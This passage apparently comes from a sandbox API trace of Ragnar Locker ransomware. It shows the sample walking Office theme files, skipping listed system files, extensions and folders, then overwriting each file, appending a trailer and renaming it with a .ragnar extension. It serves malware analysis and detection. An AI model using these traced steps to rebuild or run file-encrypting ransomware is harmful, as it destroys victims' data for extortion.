lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.268] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Urban.thmx" | out: lpString1="Urban.thmx") returned="Urban.thmx" [0095.268] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx") returned=".thmx" [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="autorun.inf") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="boot.ini") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="bootfont.bin") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="bootsect.bak") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="bootmgr") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="bootmgr.efi") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="bootmgfw.efi") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="desktop.ini") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="iconcache.db") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="ntldr") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="ntuser.dat") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="ntuser.dat.log") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="ntuser.ini") returned 1 [0095.268] lstrcmpiW (lpString1="Urban.thmx", lpString2="thumbs.db") returned 1 [0095.268] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.269] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.269] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.269] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.269] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.269] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.269] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx")) returned 0x20 [0095.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.269] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=64624) returned 1 [0095.269] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xfc67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.269] GetProcessHeap () returned 0x580000 [0095.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.269] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.271] VirtualAlloc (lpAddress=0x0, dwSize=0xfc70, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.271] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.271] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.271] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfc70, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xfc70, lpOverlapped=0x0) returned 1 [0095.272] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.273] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfc70, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.273] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfc70, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xfc70, lpOverlapped=0x0) returned 1 [0095.273] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfc70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.273] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.274] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xfc70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.274] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.274] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.274] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.274] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.274] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.274] GetProcessHeap () returned 0x580000 [0095.274] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.274] CloseHandle (hObject=0x98) returned 1 [0095.274] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" [0095.274] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.ragnar_FD7BD9FC" [0095.274] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0095.275] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.275] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Verve.thmx" | out: lpString1="Verve.thmx") returned="Verve.thmx" [0095.275] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx") returned=".thmx" [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="autorun.inf") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="boot.ini") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="bootfont.bin") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="bootsect.bak") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="bootmgr") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="bootmgr.efi") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="bootmgfw.efi") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="desktop.ini") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="iconcache.db") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="ntldr") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="ntuser.dat") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="ntuser.dat.log") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="ntuser.ini") returned 1 [0095.275] lstrcmpiW (lpString1="Verve.thmx", lpString2="thumbs.db") returned 1 [0095.275] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.275] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.275] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.275] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.276] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.276] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.276] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx")) returned 0x20 [0095.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.276] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=75264) returned 1 [0095.276] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x125f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.276] GetProcessHeap () returned 0x580000 [0095.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.276] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.278] VirtualAlloc (lpAddress=0x0, dwSize=0x12600, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.278] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.278] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.278] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12600, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x12600, lpOverlapped=0x0) returned 1 [0095.280] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.280] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12600, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.280] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12600, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x12600, lpOverlapped=0x0) returned 1 [0095.281] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12600, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.281] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.281] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x12600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.281] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.281] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.281] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.281] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.281] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.281] GetProcessHeap () returned 0x580000 [0095.281] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.282] CloseHandle (hObject=0x98) returned 1 [0095.282] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" [0095.282] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.ragnar_FD7BD9FC" [0095.282] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Verve.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\verve.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.282] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1 [0095.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0095.282] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Waveform.thmx" | out: lpString1="Waveform.thmx") returned="Waveform.thmx" [0095.282] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx") returned=".thmx" [0095.282] lstrcmpiW (lpString1="Waveform.thmx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0095.282] lstrcmpiW (lpString1="Waveform.thmx", lpString2="autorun.inf") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="boot.ini") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="bootfont.bin") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="bootsect.bak") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="bootmgr") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="bootmgr.efi") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="bootmgfw.efi") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="desktop.ini") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="iconcache.db") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="ntldr") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="ntuser.dat") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="ntuser.dat.log") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="ntuser.ini") returned 1 [0095.283] lstrcmpiW (lpString1="Waveform.thmx", lpString2="thumbs.db") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0095.283] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0095.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx")) returned 0x20 [0095.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0095.284] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=181889) returned 1 [0095.284] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x2c678, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.284] GetProcessHeap () returned 0x580000 [0095.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.284] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0095.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2c681, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.287] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.287] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0095.287] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c681, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x2c681, lpOverlapped=0x0) returned 1 [0095.290] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0095.291] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c681, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.291] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c681, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x2c681, lpOverlapped=0x0) returned 1 [0095.292] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c681, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.292] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.293] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x2c681, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.293] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.293] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.293] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0095.293] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0095.293] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.293] GetProcessHeap () returned 0x580000 [0095.293] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.293] CloseHandle (hObject=0x98) returned 1 [0095.293] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" [0095.294] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.ragnar_FD7BD9FC" [0095.294] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.294] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0095.294] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0095.294] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0095.294] lstrcmpiW (lpString1="MEDIA", lpString2=".") returned 1 [0095.294] lstrcmpiW (lpString1="MEDIA", lpString2="..") returned 1 [0095.294] lstrcmpiW (lpString1="MEDIA", lpString2="Windows") returned -1 [0095.294] lstrcmpiW (lpString1="MEDIA", lpString2="Windows.old") returned -1 [0095.294] lstrcmpiW (lpString1="MEDIA", lpString2="Tor browser") returned -1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="Internet Explorer") returned 1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="Google") returned 1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="Opera") returned -1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="Opera Software") returned -1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="Mozilla") returned -1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="Mozilla Firefox") returned -1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="$Recycle.Bin") returned 1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="ProgramData") returned -1 [0095.295] lstrcmpiW (lpString1="MEDIA", lpString2="All Users") returned 1 [0095.295] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | 